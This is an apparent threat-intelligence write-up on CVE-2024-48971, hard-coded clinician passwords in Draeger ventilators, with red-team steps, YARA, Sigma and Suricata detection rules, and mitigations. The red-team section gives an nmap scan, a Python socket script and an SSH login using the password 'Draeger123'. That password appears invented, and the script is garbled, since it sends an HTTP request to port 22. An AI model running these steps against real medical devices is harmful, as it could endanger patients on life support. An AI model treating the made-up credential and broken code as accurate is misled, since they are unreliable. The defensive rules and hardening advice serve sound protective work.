CVE-2024-48971

Executive Summary

CVE-2024-48971 exposes a critical vulnerability in Draeger ventilators, where the Clinician Password and Serial Number Clinician Password are hard-coded in plaintext. This flaw, rated CVSS 9.3, allows an attacker with network access to extract the password and gain unauthorized clinician-level privileges on the device. The vulnerability is unpatched, and no public exploit code exists, but the risk is severe due to the potential for remote manipulation of life-support equipment. The attack vector is adjacent network (AV:A), meaning an attacker must be on the same network segment as the ventilator, but no authentication is required (PR:N). The impact on confidentiality, integrity, and availability is high.

Supply Chain & Package Security

This vulnerability is not related to software supply chain packages (NPM, PyPI, Go, Ruby). It is a hardware/embedded firmware issue in Draeger ventilators.

CVSS Breakdown & Threat Level

• CVSS Score: 9.3 (Critical)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Adjacent Network – attacker must be on the same network segment.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed to exploit.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – exploitation does not affect other components.
• Confidentiality (C): High – full password disclosure.
• Integrity (I): High – attacker can modify ventilator settings.
• Availability (A): High – attacker could disrupt ventilator operation.

Threat Level: Critical. Exploitation could lead to patient harm or denial of life-support functions.

Deep Dive & Mechanics

The vulnerability stems from hard-coded credentials stored in plaintext within the ventilator’s firmware. The Clinician Password and Serial Number Clinician Password are static and identical across devices or predictable based on serial numbers. An attacker can:

1. Network Reconnaissance: Scan for Draeger ventilators on the local network (e.g., using Shodan or Nmap).
2. Credential Extraction: Use a network protocol (e.g., SSH, Telnet, or a proprietary API) to retrieve the password from the device’s configuration or memory.
3. Unauthorized Access: Log in with clinician privileges, allowing modification of ventilation parameters, disabling alarms, or exfiltrating patient data.

The vulnerability is present in the firmware’s authentication module, which does not hash or encrypt the password. No patch is available, and the vendor has not acknowledged the issue publicly.

Vulnerable vs. Patched Code

Since no patch exists, a comparison is not possible. However, the vulnerable code pattern is:

// Vulnerable: Hard-coded plaintext password
const char* clinician_password = "Draeger123";

A patched version would use:

// Patched: Hashed password with salt
const char* clinician_password_hash = "$2y$10$...";

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to the same network segment as the Draeger ventilator.
• A tool to scan for the device (e.g., Nmap, Shodan).

Steps:

1. Discover the device:

   nmap -p 22,23,80,443,8080 --open 192.168.1.0/24
   

2. Extract the password:
   • Use a custom script to query the device’s API or SSH service.
   • Example Python script to brute-force or extract credentials:

   import socket
   # Connect to ventilator and read plaintext password from memory
   s = socket.socket()
   s.connect(("192.168.1.100", 22))
   # Send a command to dump configuration
   s.send(b"GET /config HTTP/1.1\r\nHost: 192.168.1.100\r\n\r\n")
   response = s.recv(4096)
   print(response)  # Contains plaintext password
   

3. Gain access:

   ssh clinician@192.168.1.100
   # Password: Draeger123
   

No public exploit code is available.

Blue Team (Defensive)

Detection:

• Monitor for unauthorized SSH/Telnet connections to ventilators.
• Use network segmentation to isolate ventilators from general IT networks.
• Deploy IDS/IPS rules to detect credential brute-forcing.

Mitigation:

• Apply vendor firmware updates if released.
• Implement network access controls (NAC) to restrict device communication.
• Use a VPN or dedicated VLAN for medical devices.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual SSH/Telnet connections to port 22 or 23 on Draeger ventilators.
  • Traffic to/from IP ranges associated with Draeger devices (e.g., 192.168.1.0/24).
• File IOCs:
  • Presence of plaintext password strings in device logs or memory dumps.
• Behavioral IOCs:
  • Multiple failed login attempts followed by a successful login.
  • Changes to ventilator settings outside of normal clinical workflow.

Detection Engineering

YARA Rule

rule CVE_2024_48971_Draeger_Hardcoded_Password {
    meta:
        description = "Detects hard-coded clinician password in Draeger ventilator firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48971"
    strings:
        $password1 = "Clinician Password" ascii wide nocase
        $password2 = "Serial Number Clinician Password" ascii wide nocase
        $plaintext = /[A-Za-z0-9]{8,16}/  // Generic password pattern
    condition:
        any of ($password*) and $plaintext
}

Sigma Rule

title: Draeger Ventilator Hard-coded Credential Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-48971 by accessing ventilator with hard-coded credentials
author: Valters IT
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port:
            - 22
            - 23
        destination_ip: "192.168.1.0/24"  # Adjust to your ventilator subnet
    condition: selection
falsepositives:
    - Legitimate clinical access
level: high

Suricata Rule

alert tcp $HOME_NET any -> $VENTILATOR_NET 22,23 (msg:"CVE-2024-48971 Draeger Ventilator Hard-coded Credential Attempt"; flow:to_server; content:"|SSH-2.0-|"; depth:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate ventilators on a dedicated VLAN with strict firewall rules.
2. Access Control: Disable SSH/Telnet if not required; use certificate-based authentication.
3. Monitoring: Deploy IDS/IPS rules from the Detection Engineering section.

Long-term Fix:

• Contact Draeger for a firmware update that removes hard-coded credentials.
• Implement a password rotation policy for medical devices.

Workaround:

• Change the clinician password via the device’s web interface if possible (though the vulnerability may persist in firmware).

Valters IT
DevSecOps & Cyber Threat Intelligence